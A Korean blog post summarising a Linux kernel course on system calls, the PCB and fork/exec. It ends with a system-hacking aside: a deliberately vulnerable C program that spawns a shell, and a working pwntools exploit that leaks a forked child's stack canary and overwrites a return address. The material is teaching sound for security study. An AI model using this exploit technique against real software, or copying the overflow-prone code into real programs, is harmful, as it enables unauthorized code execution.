Home
System Hacking
🤙

Linux Kernel - 2 System Call (1)

Type
운영체제
날짜
2025/12/18
종류
Kernel
1 more property
Linux Kernel 관련 온라인 강의 요약본입니다. https://olc.kr/course/course_online_view.jsp?id=35&s_keyword=Kernel&x=0&y=0

System Call

사용자가 실행하는 a.out 프로세스가 실행되는 일련의 과정을 통해서 프로세스의 흐름이 어떻게 변하고 I/O 작업을 진행하는지 보겠습니다.
사용자 모드add, sub 함수를 실행되다가 사용자가 정의하지 않은 libc 라이브러리 함수printf를 호출합니다.
printf공유 라이브러리에 구현된 함수로, 실행 시 해당 공유 라이브러리 코드로 이동합니다. 공유 라이브러리 영역의 printf는 내부적으로 write 함수를 호출하고, write 함수에서 인자 설정을 마친 뒤 syscall을 호출합니다.
write와 같이 system call을 호출하여 커널 기능을 사용할 수 있도록 감싸는 함수wrapper 함수라고 부릅니다.
syscall이 호출되면 CPUMode Bit커널 모드로 변경하고, 커널 내부 trap handler에게 전달합니다. trap handler에서 전달된 인자를 보고 sys_로 시작하는 커널 함수를 실행합니다.
Linux에서 호출 가능한 system call과 전달되어야 하는 인자는 아래의 사이트에서 확인이 가능합니다.
system call을 호출할 때 전달되는 rax 레지스터를 가지고 호출될 커널 함수를 구분하며, 인자는 순서대로 rdi, rsi, rdx, r10, r8, r9에 전달됩니다.
간단하게 write만 보겠습니다. writerax0x1이며 첫 번째 인자는 fd, 두 번째 인자는 buf, 세 번째 인자는 총 write할 byte 수 입니다.

System Call Wrapper Routine

실제 아래 write 코드를 보면 movl 5, %eax; int $0x80;으로 이루어져 있는데, int 0x8032bit system call이고 syscall64bit system call이라고 보면 됩니다.
여기서 위에서 본 rax(eax) 값이 다른건 아마 예제로 보여주기 위해 쓴 듯 합니다. 실제 32 bit 환경에서 write system call number4입니다.
이러한 system call number호출 규약(Calling Convention)커널이 정의한 ABI(Application Binary Interface)에 의해 결정됩니다. libc(표준 c 라이브러리)커널에서 정의한 ABI에 맞추어 system call을 호출하도록 구현되어 있습니다.
사용자 프로그램커널 규약을 직접 다루지 않고, libc 함수를 호출하여 사용하는 식으로 동작합니다.
아래와 같이 직접 syscall을 사용하는 경우 공유 라이브러리를 사용하지 않고도, 커널의 정의한 system call ABI를 직접 사용하여 I/O 작업이 가능합니다.
//gcc -nostdlib -static -o nolibc ./nolibc.c int _start(){ char hello[] = "Hello, World!\n"; __asm__ volatile( ".intel_syntax noprefix\n" // write(stdout, hello, sizeof(hello)) "mov rax, 0x1\n" // write "mov rdi, 1\n" // 0 = stdin, 1 = stdout, 2 = stderr "mov rsi, %0\n" // hello "mov rdx, 14\n" // length "syscall\n" // exit(0) "mov rax, 0x3c\n" //exit "mov rdi, 0\n" //0 "syscall\n" ".att_syntax prefix\n" : : "r"(hello) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); }
C
복사
nolibc.c
ldd ./nolibc not a dynamic executable
Shell
복사
실제로 시스템 해킹을 할 때 바이너리 안에 syscall 가젯rax, rdi, rsi, rdx 레지스터 조작이 가능하면 libc base를 몰라도 execve system call을 직접 호출하여 쉘을 획득 할 수 있습니다.
이는 system()과 같은 libc 내부의 warpper 함수를 거치지 않고 커널에 요청할 수 있기 때문입니다.

Kernel system call function

커널 모드의 경우 모든 메모리 주소에 접근할 수 있다고 했지만, 커널은 사용자가 전달한 메모리 주소를 신뢰하지 않습니다.
사용자는 잘못된 메모리 주소를 전달할 수도 있고, 접근 권한이 없는 메모리 주소를 전달할 수 도 있습니다.
이러한 상황을 방지하기 위해, 커널 메모리와 사용자 메모리 사이에서 데이터를 읽거나 쓸 때는 copy_from_usercopy_to_user 함수를 사용합니다.
해킹 관점에서 봤을 때 copy_to_user, copy_from_user 함수의 인자가 잘못되는 경우 커널 메모리 정보 유출(Information Leak) 하거나 커널의 메모리 손상(Buffer Overflow)를 일으킬 수 있습니다.

Write a New System Call?

결론부터 말하면 새로운 system call을 추가하는 것은 추천하지 않습니다.
새로운 system call을 추가하는 것은 커널 ABI를 변경하는 작업이므로, 해당 커널을 사용하는 환경에서만 동작합니다. 이로 인해 일반적인 Linux 배포판이나 다른 시스템과의 호환성이 깨지게 됩니다.

Alternative to New System Call

따라서 새롭게 system call을 만드는 것이 아니라, read, write, ioctl 등을 이용하라고 합니다.

OS Kernel

커널은 사용자 프로그램을 CPU, Memory, Disk, tty 등과 같은 하드웨어 자원을 사용할 수 있도록 관리하는 프로그램입니다.
커널은 하드웨어 자원을 관리하기 위해 각각의 하드웨어마다 데이터 구조(Data Structure)를 가지고 있습니다.
추가로 사용자 프로그램이 원활하게 실행될 수 있도록 각 프로세스의 상태를 관리하는데, 이때 사용하는 데이터 구조를 PCB(Process Control Block)라고 합니다.
운영체제는 하드웨어와 프로세스 등을 관리하기 위해서 메타데이터(metadata)를 사용합니다. 메타데이터(metadata)란 데이터를 관리하기 위한 정보로 PCB(Process Control Block)와 같이 프로세스를 관리하기 위한 데이터 구조를 예로 들 수 있습니다.

PCB

PCB에 어떤 정보가 들어가는지 보겠습니다.
PID, Priority, Status 등등 많은 정보가 있다고 하는데 실제로 그러한지 확인해보겠습니다.
여기서 state vector save area라고 되어있는데, 사용자 프로그램이 커널 모드로 진입하기 직전에 사용하던 레지스터 값을 보존하기 위해 커널이 레지스터를 저장하고 있는 영역입니다.
Linux에서 PCB에 해당하는 역할을task_struct가 수행합니다. 매우 길지만 한번쯤 보는 것을 추천드립니다.
Code
실제로 커널은 위 구조체를 이용하여 프로세스를 관리합니다.
커널은 PCB에 저장된 정보를 가지고 프로세스를 스케줄링하며, 사용자 프로그램의 실행 흐름을 제어하고 사용자 프로그램과 하드웨어 사이에서 자원 접근을 중재합니다.
PCB(Process Control Block)는 커널이 프로세스를 제하기 위해 사용하는 메타데이터(metadata)입니다.

Creating a child process

컴퓨터가 부팅되면 커널이 메모리에 적재되어 실행되고, 이후 커널은 PID 1 프로세스를 생성합니다.
이후 사용자가 로그인하거나 터미널을 실행하면, shell이 실행됩니다.
shell은 터미널을 통해 사용자와 상호작용하며, 사용자가 다른 프로그램(ex. python)을 실행하면 shell은 python을 disk로부터 가져와 실행합니다.
이렇게 실행된 python 프로세스부모shell 됩니다. 이런 프로세스들은 부모 - 자식 관계가 생길 수밖에 없습니다.
여기서 중요한 부분은 프로그램을 실행한다는 것은 자식 프로세스(child process)를 생성하는 것 입니다.
이제 자식 프로세스를 생성하는 과정을 step-by-step으로 보겠습니다.
1.
Allocate PCB, Copy Parent’s PCB
커널이 메모리에 새로운 PCB(Process Control Block) 생성한 뒤, 부모 프로세스PCB자식 프로세스 PCB로 복사합니다.
2.
Allocate memory, Copy parent’s image
PCB에는 하드웨어의 메타 데이터도 들어가 있습니다.
해당 메타데이터를 보면 메모리 크기, 디스크 위치 등 사용하는 하드웨어 정보를 가져와 자식 프로세스부모 프로세스동일한 메모리 크기를 할당하고 부모가 실행하는 프로세스의 상태를 그대로 복사합니다.
3.
Load new image from disk
새롭게 실행될 프로그램(ex. python)을 디스크로 부터 읽어, 앞에서 할당된 메모리 영역에 프로그램 이미지를 덮어씁니다.
4.
Link child PCB to ready list
생성된 자식 프로세스의 PCBCPU ready queue에 넣어, CPU에서 실행 될 수 있도록 상태를 변경합니다.
실제로는 다 복사하는 것은 아니고 COW(Copy-on-Write) 정책으로 메모리 메타데이터만 복사한 뒤, 실제 write가 발생하는 시점에 메모리를 복사하고 변경되는 부분을 반영합니다. 나중에 설명할 것이므로 일단 넘어가도록 하겠습니다.
위 과정을 forkexec로 볼 수 있습니다.
1, 2 과정을 fork부모와 거의 동일한 프로세스를 생성하는 단계입니다.
3, 4 과정을 exec로 프로세스의 메모리에 새 프로그램 이미지로 교체합니다.
이를 통해 fork를 호출하면 왜 부모와 동일한 코드를 실행하는지, exec를 실행하면 인자로 파일 경로를 받는지 이해할 수 있습니다.

Fork

fork리턴 값2개의 프로세스가 됩니다.
fork() 생성된 자식은 부모의 PCB이미지를 복사하기 때문에 리소스를 서로 공유하게 됩니다.
fork()를 실행하는 시점의 rip(실행 될 instruction)fork(); 다음으로 rip가 설정되어 있습니다. 동일한 코드를 공유하기 때문에 커널은 리턴 값(rax)를 다르게 설정하여 실행되는 프로그램이 부모 프로세스인지 자식 프로세스인지 구분합니다.
여기서 자식 프로세스는 부모와 동일한 환경을 복사 했기 때문에 부모와 동일한 코드를 실행하고 있고 리턴 값(rax)이 0으로 설정되어 다음 코드를 실행하게 됩니다.

여담

시스템 해킹의 관점으로 돌아와서 fork()를 통해서 2개의 프로세스가 동일하게 복사된다 했습니다.
동일한 메모리가 복사된다면 실행 시마다 변경되는 Canary도 동일하게 복사되며, 이를 유출한 뒤 프로그램이 종료되더라도 exploit을 진행할 수 있습니다.

bypass_canary

// gcc -no-pie -o bypass_canary bypass_canary.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <sys/wait.h> void win(){ system("/bin/sh"); } int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); printf("Bypass Canary!\n"); char buf[100] = {0,}; pid_t pid = fork(); if (pid < 0){ perror("fork() Fail!\n"); return 1; } else if (pid != 0){ wait(NULL); } printf("Name : "); read(0, buf, 0x100); printf("Hello, %s!\n", buf); return 0; }
C
복사
bypass_canary.c

payload

from pwn import * p = process("./bypass_canary") e = ELF("./bypass_canary") #! Child canary leak payload = b"A"* (0x69) p.sendafter("Name : ", payload) p.recvuntil("Hello, ") canary = int.from_bytes(b"\x00" + p.recvline()[0x69:0x70], 'little') print(b"canary : "+p64(canary)) #! Parent ret overwrite payload = b"A"*0x68 payload += p64(canary) payload += p64(e.bss() + 0x100) payload += p64(e.symbols['win'] + 0x5) p.sendafter("Name : ", payload) p.interactive()
Python
복사
payload.py